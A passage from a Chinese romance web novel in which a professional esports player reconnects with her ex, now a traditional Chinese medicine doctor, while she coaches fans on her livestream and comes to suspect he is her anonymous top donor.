冯弈萱继续说:“就拿玫瑰茯苓糕举例子吧,我奶奶之前喜欢吃糕点,我学着做过,虽然步骤不算麻烦,但关键在于用心。磨粉,搅拌,过筛,压模,熬玫瑰酱,每一步都不能出错,蒸的火候更是关键。”
“你当初把人
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家甩的那么狠,我要是左京墨,现在肯定恨都恨死你了,怎么会给你做这些东西吃呢?”
闷雷随着她的话音落下,响彻天际。
暴雨在霎那间冲刷大地,雨水噼里啪啦的打在玻璃上,形成一片绵延不绝的雨幕。
沈灯心被雷吓的手抖,刀叉歪了方向,酥皮和蘑菇碎粒掉进盘子,有些不雅。
她望向窗外,觉得这个场景异常熟悉。
同居的第一天夜里,也是一场大雨,她眯起眼睛,看到左京墨就这么站在落地窗前,为她当年的混账自我辩解。
那个时候,他在想什么。
五年前的那个雨夜,他又在想什么。
“他确实应该恨我。”
牛排被她切了个稀巴烂,沈灯心声音发闷,混乱的思绪拧巴在一起,“那你说,他现在是什么意思呢?”
“……”
冯弈萱翻了个白眼,感觉自己在对牛弹琴,白白浪费了这么多口舌。
菩萨畏因,凡生畏果。
问题的关键点出在沈灯心身上,五年前是如此,五年后亦是如此。只要她自己一天醒不过味来,任旁人再怎么说,也是徒劳。
“我们先不说他了。”
摁响桌铃,冯弈萱让服务生撤走餐盘,只留下甜品在桌上,“你是怎么想的呢?”
“我?”
沈灯心指向自己,又确认了一遍:“问我怎么想的?”
“嗯。”冯弈萱忍下火气,打算采用循序渐进战术,“你俩相处这几天,你就没有想过点什么吗?再或者,五年过去,他就没有什么变化吗?”
“做饭变好吃了算吗?”
“不是说这个!”她有些抓狂,“是感情,感情方面懂吗?你和他住在一起,他是又给你理疗又是给你做东西吃的,你心里就没点异样的感觉吗?”
奶油在嘴里化开,chun梦里的场景突如其来的出现在眼前。
沈灯心忙不迭地捂住脸,下了很大决心后问出心中所惑。
“如果我说。”
“我生理上想靠近他,这算吗?”
12. 第十二味药
铁树难得生出枝丫,冯弈萱瞧向她的眼里有了光:“你认真的?”
“我干嘛骗你。”
难以启齿的画面从沈灯心的大脑皮层里乱蹦,顺着条条沟壑流向深处,“今天早上,我还梦见他了。”
冯弈萱问:“梦到什么了?”
“就……那样的梦呗。”她顿了顿,脸有些烧,“我也觉得很莫名其妙,以前从来没有做过这样的梦的,不知道为什么,偏偏今天就梦到了。而且……在梦里,我也没有反抗什么的,貌似还很……享受。”
沈灯心的声音低了下去:“你说,我该不会是得了什么毛病吧?”
“确实有毛病。”
冯弈萱将手搭在下巴上,颇有一副“我已看透事件真相”的模样。
“你得了一种叫生理性喜欢的病,懂不?”
“生理性喜欢?”
舒缓的钢琴声在法餐厅里响起,《Lullaby》的曲调与雨声结合,形成了完美的二重奏。
这种恍若置身伦敦雨季的潮湿与宁静感,无可匹敌。
冯弈萱点了点头:“你的基因喜欢他。”
“基因?”沈灯心面部肌肉微抖,“我没懂。”
“哎呀!”
冯弈萱一拍大腿,“生理性喜欢呢,大多源于基因的选择,与颜值和审美无关。比如,你经过他身边时,会闻到别人闻不到的气味。再或者,你非常渴望同他进行肢体接触,比如亲亲抱抱举高高之类的。”
“如果按照你刚才所说,你并不排斥他的亲密行为,甚至对梦中的情景很享受或者向往的话,那多半就是生理性喜欢了。”
“那我该怎么克制这个生理性喜欢?”
头回看到这样的要求,冯弈萱觉得好笑:“为什么要克制?”
“梦可以折射人的心中所想,你敢说你对左京墨一点歹念都没有吗?”
“……”
好吧。
她有。
饭吃的七七八八,窗外的雨却还在下个不停。
沈灯心并不喜欢雨,觉得这东西带了点悲情色彩。从SNG青训营出来那天下雨,没拿到年度最佳射手那天下雨,同左京墨意外同居那天也在下雨。
雨贯穿她人生中很多的记忆,尤其是来到汉城后。
打着雨伞的行人快速从面前穿过,雨水混合泥土溅至裤腿,留下灰棕色痕迹。
一辆黑色奥迪闯入眼帘,缓缓从马路上开过,途径行人时故意放缓车速,倒是个挺有素质的司机。
手机嗡嗡响着,沈灯心看了一眼来电号码,示意冯弈萱先别说话。
“谁啊?”冯弈萱歪过脑袋,用唇语问她:“左,京,墨?”
沈灯心点头接通电话,按下免提:“怎么了,左医生是有什么事吗?”
“没什么事。”电话那头的声音有些杂乱,不像是在家里,“外面正在下暴雨,你一会儿怎么去诊所?”
“打车啊。”
“打车不安全。”
电话那头的左京墨把车停下,雨刷器一下一下刮过挡风玻璃,视线中的身影模糊而后清晰。
“我来时代广场这边见了个朋友。”他沉默半晌,简明扼要,“你要不要和我一起去诊所,反正也是顺路。”
“顺路?”沈灯心提出疑惑,“今天你不是不值班吗,去诊所干什么?”
“……”
握着方向盘的手发紧,左京墨闭眼,深深呼出一口气:“有东西忘了带,需要去拿一趟。”
“那好说啊,我一会儿帮你带回……”
“唔!”
话还没说完,一只手突然捂住沈灯心的嘴,停止了她的发言。
“大姐,你怎么那么多话啊!”冯弈萱在旁观战良久,实在无法容忍她那不合时宜的迟钝。
她捂住出音筒,小声向沈灯心说道:“这家伙一看就是故意来接你的啊,还愣着干嘛,同意啊!”
眉间萦绕的疑惑始终不散,沈灯心抿唇,拗不过冯弈萱,向电话那头涩声询问:“那你现在在哪儿?我去找你。”
“不用。”
停在法餐厅侧门的黑色奥迪亮了两下车灯,一个穿着咖色半袖外套的男人撑伞开门,黑色的伞檐半遮住他的脸。
沈灯心和冯弈萱齐齐向他看去,却见男人信步走来,径直停在沈灯心面前。
伞檐轻抬,露
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出那张不俗的脸。
“走吧。”
他不着痕迹的接过沈灯心的包,动作自然。
-
车上的温度刚好,沈灯心身上没有被雨淋到多少,空调一吹,干干爽爽的又是一条好汉。
冯弈萱给她发来消息。
是一张图片——
天色阴沉,雨势斜下,又密又急。
咖色外套的男人右手撑伞,隔着半臂距离,同她并排而行。
冯弈萱:[啧啧。]
冯弈萱:[单看背影,还挺般配。]
冯弈萱:[需不需要我给你俩写篇小学生400字作文,题目就叫,爱是一把倾斜的伞。]
沈灯心一怔,再度点进照片。
伞骨倾斜,完全笼罩住她的四面八方。
男人向右打方向盘,她轻轻挪动脑袋,抬眸往左京墨的左肩投去目光。
那里,是深色的,被雨淋过的。
老套的情节放在不同的人身上依旧适用,沈灯心心猿意马,啃咬起自己的嘴皮。
“生理性喜欢”五个字被刻印进磁带,一遍一遍的在她大脑里复读播放。
周六日的仁济中医诊所里较为冷清,几个出名的老中医和左京墨都没有排班。
按照常理,她今天本来应该由诊所的另外一名医生来施针,谁料左京墨前脚刚进诊所,就把她带到了自己的诊室。
谭明臣听到隔壁诊室有动静,走了过来。
“呦,哪儿阵风把您吹来了?”
他撑门看向左京墨,有些好奇,“你今天又没有排班,温馨提醒一下,加班可不涨工资哦。”
左京墨瞥他一眼,不予理会。
兀自将针车里的设备收拾好,推到了沈灯心后方。
多年同窗,谭明臣早已习惯了他这个脾气,也不多说什么。
视线落到面前的女生身上,他定睛多看了两眼,觉得面熟。想起来之前在停车场,貌似就是她坐到了左京墨的副驾上。
这家伙玩的还挺花。
对自己的患者都下得去手。
不想自讨无趣,谭明臣轻笑了一声带上门,将独处空间留给二人。
13. 第十三味药
做完理疗,窗外的雨小了些。
沈灯心跟着左京墨一起来到超市。
这几次的菜钱,甜品材料的钱都是他出的,饭也是他做的。
蹭饭蹭多了难免不好意思,就目前来说,他们之间除了所谓的“前任”关系外,他并没有亏欠自己什么,也没必要为她做什么。
“这样吧。”沈灯心脚步停下,看向左京墨,“以后买菜买材料的钱我出,你负责做饭,行吗?”
她有商有量,不想一昧的占便宜。
左京墨放下手中的那捆绿叶菜,声音从舌根缓缓吐出来:“你把我当厨师?”
“我没有这个意思。”害怕他误会,沈灯心连忙摆手,“主要是家附近的外卖,我实在是有些腻歪了,而且,自从吃完你的饭,我觉得我也很难再看上别人做的饭了。”
她仰头去看左京墨,杏眼溜圆,是很真诚的赞美。
“……”
“嗯。”左京墨强压下嘴角,重新那捆绿叶菜拿起,放进购物车里,“你有什么想吃的,可以告诉我。”
他说:“如果遇到不会的话,我会学着做的。”
咖色身影推着购物车往前走,脚步似乎都轻快了些。
他很开心吗。
沈灯心站在原地,脸上莫名浮起一层诡异的绯红。
-
今日份晚餐为蒜薹炒肉,油炸包菜。
饭后水果则是皇冠梨和佳沃的大颗蓝莓。
沈灯心回到自己的卧室,坐到电竞椅上打开直播。
【汉城TK.Lamp沈灯心开播了。】
【汉城TK.Lamp沈灯心:今天教粉丝打征锋,欢迎来学。】
自从上次直播唠嗑被运营戳,沈灯心就知道,唠嗑这条直播路算是被卡死了。
公众人物,一言一行都自带舆论。
刚出道时没什么粉丝量,身上也没有那么重的担子,无所顾忌的,想说什么就说什么。
可今时不同往日,她早就不能放轻松做自己。
昨天本着帮征锋宣传新玩法的想法,她还玩了会儿新出的休闲卡牌模式。
结果才玩了那么一会儿,沈灯心就无聊到撑脸苦笑,实在是令人食之无味,弃之可惜。
认真思考过后,她决定,今天随机抽取几个粉丝,教教他们怎么玩征锋。
也算是将征锋“发扬光大”了。
为了避免串子黑子齐齐登场扰乱秩序,她将抽取活动设置为仅限粉丝参加,在直播下方贴了一句话。
[今日随机抽取粉丝连麦,教你认识角色,提升对局意识,角色不限,大胆来。]
【主播最近这么有节目的吗? 】
【求被抽中啊啊啊啊】
【老婆抽我抽我,我十年老粉!】
【不能开麦的怎么办啊啊啊啊】
弹幕一条接着一条,直播间人数激增。
关注到很多人反映无法开麦,沈灯心给出回应:“不能开麦也可以参加,我会先看你的操作,然后给出针对性的建议。”
【灯心宝宝就这样宠溺粉丝呜呜呜】
【已参与,莫辜负!】
【已参与,莫辜负×99】
第一次抽奖时间已经截止,大屏幕上公布出第一位粉丝的ID。
“让我们恭喜这位ID为天天吃火锅的粉丝,系统已经向你发出连麦申请,点击接听,我们就可以说话啦~”
沈灯心对着镜头微笑,听到耳麦里传来一阵窸窸窣窣的声音,应该是成功接通了。
害怕粉丝害羞,她先打了个招呼:“Hello?能听得到吗?”
对面怯生生的给了反馈,似乎还感到不可思议:“真的是Lamp吗?感觉像做梦一样。”
弹幕上刷过一水的羡慕嫉妒恨。
沈灯心被逗笑,勾出一抹极为好看的弧度:“放心,是真的,屏幕前的家人们都可以为我作证,如假包换。”
那头的女生捂着嘴轻轻笑了出来,放松了很多。
两人成功加上好友,沈灯心简单了解了下情况。
天天吃火锅的常选分路为中路和辅助,征锋段位为翡翠三,且常年在铂金和翡翠段位徘徊,就是一直打不上钻石。
因为是pc端的原因,征锋的难度相比于其他手游要大很多,非常吃熟练度和操作,能打上这个段位已经属于比较厉害的
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了。
沈灯心让她先开一局匹配,选择自己最擅长的角色,不用紧张,平时怎么打现在就怎么打,如果有犹豫的不懂的,可以直接问出来。
她点进观赛,切换直播视角到天天吃火锅身上。
队内阵容很扎实,上单选了个能当前排的坦边,打野和中路中规中矩,但也都是T1级别的版本强势英雄。
就剩下ad和辅助还没选。
天天吃火锅还在犯犹豫,那个叫做深情只给她的ad突然发了话。
[深情只给她:来个铁斧,包带飞的,我小国标诺拉,战绩可查。]
他说着,发送了自己的小国标标志和历史战绩。
天天吃火锅本来打算选下草泽仙人这个兼控制和奶量于一身的角色,看见他的战绩,犹豫着在麦里问了沈灯心一句,需不需要更换。
“没必要换。”沈灯心根据英雄特性说到:“诺拉这种英雄最需要的是增益和保护,你玩战斧保不住他的,而且已经有了个那么肉的前排,没必要。”
听到这话,天天吃火锅毫不犹豫的选择了草泽仙人,却引来ad的不满。
[深情只给她:???]
[深情只给她:为什么不选铁斧?]
[深情只给她:真服了。]
[深情只给她:你们女的除了会玩草泽这种软辅外,还能玩点啥?]
[深情只给她:真他妈晦气。]
耳麦里的女生本来还在因为抽中连麦而开心,看到ad这逆天发言后直接沉默了。
征锋这几年的爆火吸引了不少忠实的MOBA类爱好者,且男生居多。
正所谓,林子大了什么鸟都有。
哪怕沈灯心实力强悍,一路打上国一,但仍因为赛前的萌妹ID被人喷过,所以格外能体会到这种被不公平对待的感觉。
她叹了口气,压下自己想要开喷的冲动,耐心劝慰女生:“没关系,你不要被这种傻x影响心情,该怎么打就怎么打。”
女生轻轻的嗯了一声,投入到峡谷的战斗当中。
谁料刚开局,那个名叫深情只给她的ad直接发了个信号。
“辅助别跟我。”
14. 第十四味药
不到二十分钟,闹心的一局因为ad的摆烂而濒临失败。
天天吃火锅的操作和意识都算得上该段位的前列,会找机会也能及时给盾,但单排辅助上分太吃队友,难上加难。如果遇上个听不懂人话的ad更是崩溃的没边。
中路高地已经被推,敌方后撤准备拿下中立资源地狱巨龙,稳定胜局。
ad一开始还自信满满,认为自己能carry全场。
前期浪掉三个人头后开始心态炸裂。责怪起辅助不保人,中期又骂辅助不会找机会开团,光躲在后面什么用都没有。
现在死到临头了,还顶着2/9/1的逆天战绩嘴硬,开麦大骂。
"我都说了让你选战斧,最起码还能到前面给我抗一下伤害,结果你不听非要选废物草泽,现在输了高兴了?"
“谁知道你这个段位是不是通过正规渠道打来的。”
“不敢开麦的怂逼,快滚回去玩你的换装游戏吧。”
前几次挑衅沈灯心就一直在忍,几次想代替女生激情开麦,但考虑到直播影响,怕被人说带头网爆,愣是忍了下来。
但现在事态转变,她实在无法容忍造黄谣这种行为,让女生尽管开麦,她负责对线。
“你在狗叫什么?”
她收敛笑意,深吸一口气后直接开骂:“能把诺拉玩成这样,你踏马也是个天才。”
“一开局发辅助别跟我的时候不是挺牛逼的吗?怎么的,自己又菜又浪,非要贪那么几个兵,被人抓住后破防了?”
“深渊巨兽那波关键团,你走位失误被人开,要不是草泽舍身救你,你觉得你能成功逃走吗?”
冷嗤一声,她不屑道:“就你诺拉这水平,还能达到市标,谁知道是不是从正规渠道打来的。”
ad似乎没想到她会这么激进,缓冲两秒后猜到了什么,笑着开口:“呦,这是自己骂不过我,所以换了个人骂?”
“来来来,你不是瞧不起我这个市标吗,把你ID告诉我,我看看你诺拉有多少分。”
【???】
【哥们你认真的吗?】
【区区市标向国榜第一发出挑战?】
许久没见到这么“刁钻”的要求,沈灯心一时间没忍住笑出了声:“ID952333,你大胆去搜,我要是比你分低,倒立洗头。”
说完这话,敌方带兵一路高歌攻破高地,屏幕陷入死灰。
她安慰了女生几句,随即看到女生主页右上角弹出一条组队邀请,而邀请者正是那个ad。
“还敢来对线吗?”沈灯心歪头,有些不屑一顾,示意女生同意邀请。
才刚进到组队界面,对面男生便骂骂咧咧的大嚷:“不是,我说你是不是玩不起啊,把人家职业选手的ID报给我,要不要点脸?”
“?”她听后一阵无语,为自己证明身份,“我就是Lamp沈灯心,这是我朋友的号,你要是不信可以solo。”
“我去你的吧,就你还沈灯心?那我还Positive齐正阳呢!”
“……”
【笑死我了。】
【隔壁直播间的齐正阳:???】
普通低阶匹配碰到职业选手的概率微乎及微,他不相信也在情理之中。
沈灯心将椅子往前拉了拉,脸部正对摄像头:“我现在就在斗喵开直播,房间号200502,你要是不信可以去看。”
“切。”
男生依旧狂妄,打开了斗喵直播,“我倒要看看,你还能装到什么——”
“……”
完整的一句话还没来得及说完,他声音越来越小,直至将后面几个字尽数咽进喉咙,没了动静。
下一秒,组队界面只剩下天天吃火锅一人。
-
【没想到吧,遇上真的Lamp了。】
【权威这一块./】
【小姐姐打的明明很好,真不知道这个男的在破防什么。】
同天天吃火锅沟通过一些简单的运营问题,沈灯心友好的挂断了电话。
看了眼表,方才和那个男生对线浪费了不少时间,距离直播结束还有大概一小时,足够发起第二次抽奖。
“今天再抽一名粉丝吧,点左下角参与活动就可以加入第二次抽奖了。”
她说着,拿起水杯走到厨房续了一杯温水,开麦开的人有些上火,口干舌燥的。
回到直播间,设置的开奖的时间还未到,她抽空念起送礼名单。
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一阵白雾再度浮现,十个至尊嘉年华水灵灵的出现在眼前,再一看送出者,正是前几天询问她感情问题的那个粉丝,忧郁企鹅。
熟悉的ID勾起她那晚的回忆,沈灯心下意识向次卧看了一眼,随即很快收回。
“感谢忧郁企鹅送来的至尊嘉年华,谢谢老板,老板大气!”
将大致的送礼名单念完,抽奖也随之进入倒计时。
十秒过后,礼花筒里的彩色丝带在屏幕上绽开,宣布了幸运粉丝的ID。
——忧郁企鹅。
视线扫过屏幕,沈灯心仰头喝水的动作一顿,径直被水呛住。
【666】
【榜一大哥这也太有实力了。】
【羡慕嫉妒恨×99】
【连续两天都主播宠幸,这也太幸运了吧。】
咽喉中的水珠化成利刃,硬生生的刮过食道,有些辣。
沈灯心没忍住,咳嗽了好几声,人明显也处于状态外,愣了几秒后才想起来恭喜。
不过,这也太有戏剧性了吧。
她甚至一度怀疑,系统是因为刚才的那十个至尊嘉年华,这才选择了忧郁企鹅。
结果已出,沈灯心倒也没将这件事太放在心上,把抽奖话术又说了一遍:“让我们恭喜这位ID为忧郁企鹅的粉丝,系统已向你发送连麦申请,点击屏幕上的绿色接听,我们就可以连麦教学了。”
她刚说完这话,便听到次卧里传来一声极为克制的闷响,而后屏幕略微卡帧,显示出一行字。
[忧郁企鹅拒绝了您的连麦申请。]
沈灯心:“???”
屏幕前的粉丝:“???”
怎么会有人中了奖还不珍惜机会的?
好看的眉眼拧成一团,沈灯心挠了挠头,终于等到了那位神秘的忧郁企鹅的回复。
红色ID夹杂在一片黄白色的弹幕里,格外夺目。
[忧郁企鹅:对不起,我不能开麦。]
[忧郁企鹅:但我可以发消息,你看这样可以吗?]
“……”
原来是这样。
沈灯心咂嘴,纤长的睫毛忽闪两下,似乎在为自己刚被粉丝拒绝连麦一事缓解尴尬。
15. 第十五味药
加好友时,沈灯心趁机看了眼他的主页。
没什么英雄角色,也没有多么华丽炫酷的主页装饰和皮肤,就是初始的游戏模样。
展示柜上的唯二角色是捷羽和诺拉,英雄认识分50左右,黄铜段位,没打过几场排位。
“是新手吗?”
她盯着屏幕问,尾调拉长,带了些调侃的意味,“看你这个认知分,平时是不是不怎么打游戏,光想着挣大钱了?”
[忧郁企鹅:……]
[忧郁企鹅:也没有。]
[忧郁企鹅:我很少打游戏,算大半个新手。]
沈灯心点头哦了一声:“那今天你想学点什么呢?感觉你目前这个段位,意识什么的可以先放放,最主要的是了解角色特性和连招之类的。”
[忧郁企鹅:可以。]
[忧郁企鹅:都听你的。]
倒是个挺听话的榜一大哥。
考虑到上手难度和角色特性,沈灯心给他挑了个比较容易上手的角色,火炮手。
Q技能为伤害,向前发射三枚火炮,且可以向后弹一次。
W技能添加移速和攻速。
E技能会向前扔出一枚大型火炮,对此范围内的敌人附带燃烧和减速效果。
R技能即向上腾空三秒,随即发射五枚火炮。
“对线消耗用Q,打架用W,E主要用于控制,团战就放R。当然了,R还可以用于逃跑,在空中的那三秒无法被选中,且无视地形。”
她摒弃了许多附加数值,用自己的语言将火炮手的技能介绍浓缩成四句精华,就差将角色撕碎了喂到他嘴边,“角色技能就这四个,都给你讲完了,应该还挺容易理解的吧?”
[忧郁企鹅:确实很容易理解。]
[忧郁企鹅:那我现在要干什么?]
“开把匹配。”她将电竞椅向后放,手臂撑在扶手上托着脸,“不用担心,大胆操作。你刚才不是也在训练营练习过了吗,实战才是最好的训练。”
忧郁企鹅收到了她的指示,点进匹配模式开了一局。
五名游戏角色在基地齐聚,他操纵的火炮手身着火辣的西部服饰,一头红发张扬又明媚。
失去了面前的空气屏阻拦,火炮手一马当先,冲在了最前面。
“不是?”
莫名的违和感充斥着直播间,沈灯心直起身,看了看高地前的火炮手,又看了看他空空如也的出装栏,干巴巴的说:“大哥,你是不是忘记买装备了?”
【尴尬jpg。】
【节目效果拉满了。】
【看出来榜一大哥是真的不玩游戏了。】
峡谷里的风将火炮手吹得凌乱,她停下脚步,缓缓跑回基地,飞快的买了个系统最推荐的第一出装,然后重新出发。
从摄像头里看见沈灯心欲言又止的样子,忧郁企鹅脸色微红,连忙为自己找补。
[忧郁企鹅:我知道要买装备的。]
[忧郁企鹅:就是好久不玩,忘记了。]
他的欲盖弥彰略显稚嫩,沈灯心看穿却不戳破,笑道:“没事,你正常到线上吧,最主要的还是对线。”
对面玩家选的射手角色是冰霜女王,机动性极差,浑身上下除了玩家配带的瞬移技能以外再无位移技能,极容易被抓死,因此也被不少玩家戏称为下水道女王,和拥有腾空技能的火炮手正是counter位关系。
下路四人露头,双方辅助皆是草泽仙人,全看ad之间的博弈决定胜负。
忧郁企鹅先学习了第一技能,和对面的冰霜女王面对面对峙,左右走动两步后站在原地预瞄,释放Q技能,却被冰霜女王一个后撤躲过,空Q了。
“哪儿有人站在原地瞄准的?”沈灯心看的发笑,“一技能的攻击范围就那么大,你要预判走位。这里还有个小技巧就是,你可以先将Q放在距离敌方最近的小兵身上,利用弹的那一下来消耗对面血量。”
她有条不紊的说着,倒也不着急,指挥起下一步:“既然空Q了,那就把兵都吃了吧,稳着点打。”
时间来到一分五十秒。
第一个小兵因为空Q的原因被己方小兵打
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死,忧郁企鹅边躲着对面的技能,边一下一下的A着后面的小兵,见Q好了直接放了个Q过去,导致后三个小兵立刻被打成残血,其中一个小兵更是再度被己方小兵打死。
一波线,他少吃了两个兵不说,还被敌方消耗了三分之一血。
血亏。
“补尾刀能补成这样,你是我见到的第二个。”
沈灯心在屏幕这头笑的灿烂,再一看弹幕,全都是在问她那第一个是谁。
“……”
“第一个……”
她垂眸将这句话喃喃了一遍,搁浅了许久的记忆,顺应着新一波的浪潮袭来。
她想起在天城老城区的破烂出租屋里,她窝在左京墨的怀里,在那一方只属于他们的小天地里缠着他,总向他撒娇说让他陪自己打游戏。
原本还以为左京墨单纯是不喜欢玩征锋,后来才知道,他前半生的字典里,根本就没有游戏这种东西的存在。
许是家庭环境使然,又或许是什么别的,她没想过和他会有很长远的以后,所以也并不在意这些,更不会多嘴去问什么。
拗不过她接二连三的撒娇,左京墨终于下载了征锋,并经过她的推荐尝试了火炮手这个角色。
墨守成规了那么久的人初次接触到MOBA类游戏,哪儿知道什么叫补兵,什么叫尾刀,还以为只要打了小兵就能有钱。
Q也Q不中,R也放不准,300秒一个的瞬移更是直接撞墙。
她那阵气性也大,容易红温。
带着他玩了几局后没忍住吐槽了两句,哪怕注意到他情绪不佳后也没及时安慰。
现在看来,自己那阵子真是混蛋的没边了。
视线回到屏幕,第二波兵线交汇,火炮手这次长了教训,等到最后一下才去补兵,虽然漏了一个,但也算有所进步。
不知怎的,沈灯心从这个忧郁企鹅的身上瞧见了左京墨当年的影子,连带着愧疚一并转移到忧郁企鹅身上,对他使用起鼓励式教育的方法。
“不错不错,这次很棒,下次争取做到一个不漏!”
16. 第十六味药
忧郁企鹅的对线能力较弱,走A走得稀碎,技能释放精准度也不高,几乎是被对面的冰霜女王压着打。
草泽仙人在一旁看的干着急,卯足了劲儿奶他,愣是给他奶活了。
四个技能全好,火炮手迎来第一波强势期,
对面打野选择先帮上路,我方辅助回城,打野正在往下路靠,沈灯心审时度势,让忧郁企鹅向后拉扯。
“打野要来帮忙,你先不往前走,半血勾引一下冰霜。”
两个黄铜段位的ad博弈起来各有各的下饭,冰霜女王虽然实力更强些,但也因此产生了几分倨傲。
面对着半血的美味火炮手,还有大在手的她很难抵挡住此等诱惑,一时上头带着辅助往前走了两步。
杂草重生的河道石壁上突然冒出一抹黑色身影,打野一个位移冲到冰霜女王面前,两招刮下去她半血,却因草泽仙人的大招技能而未能秒掉。
冰霜女王发现自己被阴心有不甘,一个R技瞄准了无辅助在旁的火炮手,企图一换一带走。
冰霜凤凰朝天怒吼一声,振翅向火炮手直直飞去。
这一下,如果正中目标,则会给目标带来长达三秒的晕眩控制。
火炮手本来就是半血,一旦被晕住,极有可能被冰霜女王一换一带走。
那这波就算是亏节奏了。
沈灯心紧攫着屏幕,指尖攥的泛白。想提醒他使用R技能升空躲开控制,却因为直播有延迟而来不及传达。
冰蓝色的羽翼即将迫近身躯,火炮手站在原地,唇角扬起一抹不易察觉的笑。
下一秒,她单手撑地,向空中翻转跃起。
火红色的头发划过一道红色的弧线,他穿过河道两侧的石壁,向冰霜女王发射了五枚火炮后稳稳落地。
【榜一大哥突然开窍了?】
【笑死,这波躲的总算有点人样。】
【六百六十六,比博燃。】
弹幕滚动,屏幕上传来播报。
[火炮手已击败冰霜女王。]
[火炮手拿下第一滴血!]
-
十八分钟,比赛结束。
中路和打野双人联动,狂砍人头杀红了眼,忧郁企鹅直接被带飞,获得了胜利。
他关掉游戏,取消投屏,言语里带着些许沾沾自喜。
[忧郁企鹅:怎么说。]
[忧郁企鹅:我应该还算有进步吧。]
鼻腔里发出轻哼,沈灯心脸上的笑意从未消弭:“相比刚开始的不买装备和原地瞄准,后面的几波还算可圈可点。”
她的眼尾弯弯,补充道:“尤其是和打野联动,拿下冰霜的那一波,我本来还以为你不会躲呢。”
“没想到,还是个聪明的企鹅。”
【主播你怎么这么宠他,我要吃醋了!】
【我也会躲冰霜大,心心怎么不夸我】
【榜一大哥内心爽死了吧。】
【这莫名的好磕感是怎么回事?】
【前面的,什么都磕只会害了你!】
忧郁企鹅默默看着弹幕,手停在键盘上良久。
[忧郁企鹅:我和我前女友打的时候,她就是让我这么操作的。]
[忧郁企鹅:可惜我那个时候没反应过来,被她嫌弃了。]
“前女友”三个字像碎石子般抛出,掷进沈灯心平静的心湖。
她指尖有细微的电流穿过,不知道怎么的就联想到了自己:“所以,你主页挂着的捷羽和诺拉,是你前女友喜欢的角色?”
[忧郁企鹅:是。]
轰隆一声。
脑海里有一座名为理智的大厦将倾。
熟稔的下饭操作,寡淡平实的语言,玩的甚至和她当年教左京墨的是同一个角色。
在往深处想想,她发送连麦邀请时,隔壁次卧传来的突如其来的闷响。
以及……
同样的河道草,同样的R升空躲大,同样的没反应过来……
这一切都太巧合了。
沈灯心从不认为自己是个敏感亦或是自恋的人,但许多许多的巧合有力的吻合在一起,迫使她想要去一趟次卧,来验证自己的猜测是否正确——
如果。
如果左京墨就是忧郁企鹅,那他现在绝对反应不过来。
她切号登录斗喵,在手机上点开自己的直播,避免错过什么消息。
椅轮向后滑动,她静悄悄起身
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,脚跟先一步着地,力缓缓过渡到脚掌。
放轻力度,沈灯心推开主卧大门。
暖黄的光从次卧的门缝里漏出,他果然没睡。
手掌覆上次卧的金属门把手,冰凉的触感刺激的人心头一怔,呼吸因紧张而变得短促而厚重。
无数种预想从大脑里闪过,她在最接近真相的时刻犯了怵。
万一他不是忧郁企鹅呢。
那自己在深更半夜突然推开前任的卧室门,又算怎么一回事呢。
混乱的思路缠绕在一起打了个死结,沈灯心想解开却无计可施。
她将目光重新放回直播间,红色ID在发完那两句话后又发了一句。
[忧郁企鹅:我还忘了说,她是你的粉丝。]
“……”
沈灯心沉默了。
偌大的家中昏暗一片,只有主卧和次卧亮着灯。
微光映照在她那张五味杂陈的脸上,说话声从次卧的门缝里钻出来,直直跑到她的耳膜旁。
是左京墨的声音。
“寰枢关节错位怎么施针,你没学过吗?”
他压低声音,但仍可见些许愠怒:“急性的寰枢关节错位,要先以远端取穴为主,在后溪,悬钟,列缺,合谷施针,配合轻微刺激的局部穴位,比如风池,天柱,翳风和颈夹脊。”
左京墨叹了一口气,像是要说什么又生生憋了回去:“算了,你先去施针吧,有不懂的再来问。”
专业名词堆叠,听起来像是穴位的名称。
冰凉的金属门把手一时间有些发烫,沈灯心抽回手,虽然听不懂,但也多半知道他是在办公。
看样子,真的是她多想了。
得亏刚才她没一时冲动推开门,不然指不定会有多尴尬……
镜头前重新出现她的脸。
等候已久的忧郁企鹅察觉到她脸色微变,害怕她是对刚才自己说的话不满意,赶紧回复。
[忧郁企鹅:其实,我也是你的粉丝。]
[忧郁企鹅:因为你,我会好好练习角色的。]
红色的ID被漫天弹幕刷过,紧接着,他又刷了十个嘉年华。
……
要不要这么壕啊……
17.第十七味药
下播后,沈灯心坐在电脑桌前,疲惫到双眼放空。
她登进平时不怎么用的征锋小号,从搜索好友一栏里找到忧郁企鹅,细细查看着他的战绩。
人都是复杂的生物。
在次卧门口发现左京墨没睡时,她心里确实有过转瞬即逝的雀跃。
但她害怕面对“真相”,更担心知晓“真相”后如何去面对左京墨和心中的愧疚,故而犹豫犯怵,亲自松开了门把手。
一条弹幕,一通电话。
阻断了她如同毛头小子般的青涩与冲动,将她拉回现实。
也是。
像左京墨那样的大忙人,一天到晚两点一线,甚至还亲口认证过自己从未了解征锋,又怎么会神经大条到化身成她直播间的榜一大哥呢。
难道现在的中医都这么有钱了吗?
可他也不像啊。
战局记录被她拉到了最底部,最早的一次对局是在四年前的十一月十一日。
那天,是她人生中第一次进入总决赛的赛场,也是第一次体会到错失冠军的痛。
再往后的对局日期不太固定,频率不高,且一般都是在晚上,只打匹配。
目的显而易见,只是为了消遣。
又或者,说不好听点,就依他那个实力,如果真要打排位的话,应该会被喷的连苦茶子都不剩。
十一点的睡前闹钟响起,沈灯心这才发现自己竟然看了他的主页将近半个小时。
最近真是闲的够呛。
甫一出门,次卧的门也开了。
两个人面对面相望,谁都没有先说话。
沈灯心本来想先打个招呼,但又思及刚才自己怀疑他的举动,点了个头就往洗漱间走。
左手手腕被人盈盈握住,她回过头,跌进左京墨浓稠的眸海。
“明天我要回一趟天城。”
他眉头微皱,似乎是还在为工作上的事烦心,“我和谭明臣说好了,你明天去五诊室找他针灸。”
肌肤相交,目光掠过左手手腕,沈灯心待在原地没动:“什么时候回来?”
“快的话两天,慢的话三天。”
“哦……”
沈灯心缓慢点头,尾音发闷,话掉到地上,没了下句。
碎发垂落在脸颊,呼气时顽劣的抖动着,有些痒。
她下意识伸手去挠,却见左京墨眉眼低垂,鸦青色的睫羽轻轻翕动,随即火速松开了手。
“早点休息吧。”他有些仓皇,没再多嘱咐什么,说着就要将门带上。
“等一下。”
沈灯心伸出手拽住他的衣角,“……把你微信给我。”
“嗯?”
她问的突然,几乎是令人措手不及。
拽着他衣角的手缩了缩,沈灯心把微信好友码亮到了他的面前:“你之前也说过,我们是医患关系,那我想要我主治医生的微信,应该也没什么问题吧。”
胡乱扯了个名正言顺的理由,她自己也搞不懂为什么就突然想加他的微信。
